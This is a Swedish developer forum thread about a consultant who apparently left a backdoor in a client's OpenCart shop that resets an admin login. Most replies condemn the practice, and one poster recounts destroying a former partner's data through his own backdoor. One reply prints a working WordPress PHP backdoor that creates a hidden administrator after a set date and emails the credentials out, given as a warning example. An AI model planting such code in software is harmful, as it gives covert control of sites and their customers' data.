Hur skulle ni reagera om en konsult gjorde en sån här kod?
 

Tjena.
Jag har för några dagar sen anlitat en konsult för att koda en sak till mig.
Han fick tillgång till mina filer (ftp) för att lättare kunna redigera allt, och när jag sedan såg en av filerna så fanns denna sträng:

Hur skulle ni tolka detta?
Han säger att han gjorde detta för att inte behöva maila för admin login, men detta känns ganska skumt tycker jag..

Haha.

Hade avbrutit samarbetet omgående.

Ger inte någon utvecklare tillgång till live-servrar, de måste lära sig jobba i en lokal miljö och sedan pusha kod till typ git. Ligger det då sådan kod för att få tillgång till livemiljön så kan de gå och jobba någon annanstans.

Haha, humor!

Eller ja, idioti, men för oss utomstående så är det lite komiskt.

Avsluta samarbetet. Det där är så fel som det kan bli.

Nu vet jag inte hur mycket programmering i PHP du kan, xciso, men vad koden gör är att nollställa lösenordet till användaren "login" med lösenordet "pass".

Med andra ord fanns det funktionalitet för att logga in i ditt system utan din vetskap även om du bytt lösenord... Rätt allvarligt övertramp!

Mitt system är av open-source, och detta gör mig lite rädd att det faktiskt var så enkelt.

Koden skapar ju först ett admin konto med användarnamn "login"

Jag håller på och sätter upp en ny version av sidan så jag har satt upp en VPS där jag gör allt och tanken var att sedan bara skifta ip så styrs min URL mot nya servern. På så sätt är det en "live" version..

Svårt att smyga med ett sådant namn på funktionen.

Konsulten tycker jag är paranoid, men jag ser mer som att han kan ligga och lura med koden i mitt system och om ett år gå in och ändra mitt tex paypal id till hans och på så sätt komma åt en bra summa då alla köp hamnar i hans plånbok..

Han har även utvecklat ett flertal moduler, och visst skulle ha då istället kunna implementera denna kod i alla moduler han säljer och utvecklar, men jag tycker ändå detta är skumt.

Nej du är inte paranoid. Det verkar som om konsulten anser att alla som inte är godtrogna är paranoida. I så fall är jag hellre paranoid.

Då är vi 2 :D
Dock lite tråkigt när jag tycker han verkat reko, och är billig.
Han är från Tjeckien, vilket kanske inte gör saken bättre.. Dock är priset på $20/h bra :)

Fråga snarare vad avsikten var. Om det är att generiskt testa någon funktion och sedan återsälla konto/lösen eller vad anledningn till denna kod är. Antar att den inte skall vara med i slutprodukten.
Förstår att du ryggar undan när du ser det, benämningen på frågan är oroande också. Ifall det handlar om att lämna bakdörrar för att utnyttja senare.

Inte helt ovanligt att utvecklare lämnar bakdörrar för att skydda sig från om uppdragsgivaren inte skulle betala. Jag anser inte att det är rätt men jag vet att det förekommer, har dock inte varit med om det själv. Vill minnas att det var någon på WN för några år sedan som gjorde något liknande, just för att försäkra sig om betalning efter avslutat projekt.

Jag lämnade en bakdörr för något år sedan till mitt eget projekt jag hade med en "vän". När pengarna började rulla in så tog han koden och bröt vänskapen, och körde på utan mig. Väntande tills de hade som mest trafik och gick in genom bakdörren och dumpade allting, databaser, uppladdat content, förstörde filer m.m. På så sätt kan det vara bra att ha bakdörrar när man inte är helt säker, dock bör man sitta väldigt länge och tänka igenom så ingen annan kan använda sig utav det.

Kanske lämpligare att skriva ett avtal istället :)

Är nog både rätt och fel.
Tycker nog det borde vara bättre att skriva ett bra avtal mellan parter.

Se där ja!

Därför är det viktigt med både avtal och allmänt förtroende mellan parterna. Jag tror tyvärr du hade kunnat åka på dataintrång eller liknande även om det var fel det dina vänner gjorde.

Givetvis, men ung och dum, trodde dessutom inte det skulle bli så stort som det faktiskt blev.

härrejäklar, fulare får man leta efter. :)

om han nu vill göra vad han vill göra, så kanske han skulle googla på "mysql UPDATE"

Här passar ett gammalt känt ordstäv in:

Det du gör är olagligt dataintrång. Det din motpart gör är bara en vanlig tvist om betalning. Det är bättre att hålla på koden tills dn motpart har betalt än att själv begå olagligheter. Skriv ett ordentligt avtal som ger dig rätten till ett fett vite om motparten använder koden utan att betala fullt ut i stället.

Du riskerar fängelse medan motparten bara riskerar lite pengar och en vänskap som den andre tydligen inte värderade särskilt högt.

Själv skulle jag aldrig gå in och förstöra filer för en kund oavsett hur stor tvist det gäller. Möjligen kan jag tänka mig att ha en tidsbestämd körtid innan applikationen slutar att fungera. Men det är en normal funktion som man har i vissa applikationer. Det funkar om man inte ger kunden tillgång till källkoden förrän de betalt för den.

Läs igen så ser du att det inte handlar om någon kund. Jag drev en projekt tillsammans med en sk. vän, när pengar rullade in så stängde han ut mig (böt inlogg till webhotell, ftp, databas m.m) och tog allt mitt arbete. Han var ansvarig för administrativa uppgifter, och jag det tekniska. Om det var en kund så skulle jag givetvis behandlat situationen annorlunda. Avtal fanns inte då jag var ung och dum, inte en susning om att det skulle gå så bra som det gjorde och det faktum att det var en bra vän, blåögd som man är. ;)

Att förstöra är ändå inte OK, du tar lagen i egna händer i stället för att driva det rättsligt som man ska göra.

Jag vet inte hur ert avtal ser ut så jag kan inte säga exakt vad som ska ske, kanske du ska anmäla honom för stöld, eller dataintrång, vad vet jag. Allt beror på avtal, bolagsform, teckningsrätt och era handlingar mot varandra, det kan vara komplicerat.

Jag tycker det är viktigt att alltid agera fullt legitimt och korrekt även om motparten inte gör det, om du ska ha framgång i en förhandling eller rättsprocess så måste du själv sköta dina kort enligt konstens alla regler, annars förstör du bara för dig själv.

Min fetmarkering.

Går ju att tolka på olika vis. I mina ögon är de oerhört oprofessionellt och om jag var du skulle jag genast byta konsult till en annan.. Känns oerhört oseriöst!

Jag skulle inte känna mig trygg om någon gjorde något liknande mot mig.

Jag skulle även passa på att byta hash-funktion från MD5 till något bättre. Men det fixar förhoppningsvis nästa utvecklare åt dig.

Jag skulle bryta direkt.

Dock för att han inte vet vad MYSQL update är :)

Utan att ha gjort en undersökning tror jag att minst 99% av alla Wordpress-installationer kör md5 eftersom det är standard. Visst kan man modda detta men det känns rätt sällsynt och då får man se till att inget bryts vid framtida uppdateringar av core-filerna.

Bättre lägga energin på att få förändringen av hashfunktionen inbyggt i Wordpress direkt isf.

Missade att detta rörde utveckling i Wordpress.

När ni köper tid av paranoida WP-utvecklare finns det en metod som liknar vad som TS visade upp, att hålla koll på. Här är ett övertydligt exempel som väntar in att ett datum ska passeras. När datumet passeras skapas en adminanvändare automatiskt och ett mail går ut till "hackaren".

if ( strtotime( "2012-03-15" ) < time() ) {
require_once( ABSPATH . WPINC . '/registration.php' );
if ( !username_exists( 'the-secret-backdoor' ) ) {
add_action( 'shutdown', 'backdoor_create_new_admin' );
function backdoor_create_new_admin() {
$user_id = wp_insert_user( array(
'user_login' => 'the-secret-backdoor',
'user_pass' => 'thesecretpassword1337haxxors',
'user_email' => '[email protected]',
'role' => 'administrator'
) );
wp_mail( '[email protected]', 'New Admin account is ready', 'WP - '.get_bloginfo( 'wpurl' ).' | username: the-secret-backdoor | password: thesecretpassword1337haxxors' );
} } }

Jag kan tänka mig att detta kan maskeras väl med massa includes..

Detta handlar inte om wp utan OpenCart!
Och i grunden handlar det mest om konsulter "får" göra såhär..

Varför? Risken för kollision är i rundaslängor 2^-100. Vilket f.ö endast är relevant när de kommer till signering.

Nu är vi en hel del offtopic. Mitt fel så jag ber så mycket om ursäkt för detta.

Jag tolkade koden som om att det var en tabell med alla användare.
Då är det bättre att använda något annat än MD5 för att skydda lösenorden om någon skulle komma över databasen.

För att återgå till frågan så tycker jag det är väldigt oseriöst att lägga in en bakdörr i koden på detta sätt. Även om det "bara" var för att kunna använda ett adminkonto under utvecklingen. Då är det mycket bättre att be om att få tillgång till ett konto, om det behövs.

Ja, men varför. De va de som va frågan. Varför använda te.x SHA1 över MD5 när de kommer till att hasha lösenord.

Off-topic som sagt, men ett problem med t.ex. MD5 är ju att den är _för_ "snabb". Det går att generera en hash på mycket kort tid.

Vill man inte att det ska vara snabbt?
Nej, då blir det ju betydligt enklare att knäcka.

Använd t.ex. Bcrypt istället. Den är långsam och betydligt säkrare än t.ex. MD5.

Här finns lite mer info (lite gammal kanske...)
http://codahale.com/how-to-safely-store-a-password/

Då ska vi se hur långt tid de skulle ta å bruteforce:a ett saltat md5-lösenord.

Givet:
Lösenordet: a-öA-Ö0-9, 8 tecken.
Salt: a-öA-Ö0-9, 32 tecken.

En snabb GPU idag klarar att testa 5.6*10^8 lösenord / sekund.
Vilket ge c.a 10^55 år.

bcrypt är c.a 300 gånger långsammare än md5, vilket gör att samma sak skulle ta 10^58 år.

Kort och gott; sätt saker och ting i perspektiv.

Din uppgift är nu att räkna ut om hur många år lösenordet går att knäcka på under ett år enligt Moores lag.

Jag tolkade koden ovan att MD5-funktionen som användes inte använder salt, vilket gör att det inte är en bra lösning för att skydda användarnas lösenord. För om jag inte är helt fel ute så använder inte MD5() per automatik salt?

Men MD5()-funktionen som används här kanske saltar automatiskt, vad vet jag? Eller så har man saltat innan man skickar in lösenordet till MD5()-funktionen? Men annars, som sagt, byt hashfunktion. Vilket förvisso även kan innebära ett byte från MD5() till MD5() med salt. Vilket jag erkänner att jag borde ha nämnt när jag sa att man borde byta ut MD5() som hashfunktion.

Dock kan jag tycka att om man ändå ska implementera en ny version för sin hashning så kan man lika gärna gå upp några nivåer från MD5, bara för att vara på den säkra sidan (iaf några år längre). :)

Ber återigen om ursäkt att vi går helt offtopic i tråden. Dock antar jag att "alla" är helt överens om att man absolut inte bygger in liknande kod när man utvecklare något åt andra?

Vår diskussion handlade om huruvida MD5 var bra eller ej, givet att utvecklaren vet vad han/hon håller på med.

Om utvecklaren vet vad han/hon håller på med så bygger han/hon inte in möjligheter att ge sig själv adminrättigheter i koden. Så om TS har tänkt byta utvecklare så tyckte jag det även vore en bra ide att se över vilken hashfunktion som används och att detta görs på rätt sätt. Vilket i min mening innebär att inte bara förlita sig på MD5. Visst MD5 med salt är kanske ok. Dock är risken stor att en hackare även kommer över saltet, vilket i sin tur gör att det kan gå ganska snabbt att plocka fram lösenorden (om de inte är väldigt långa) från en så pass snabb hashfunktion som MD5 är.

UPDATE förutsätter att användaren redan finns.

insert ... On duplicate key update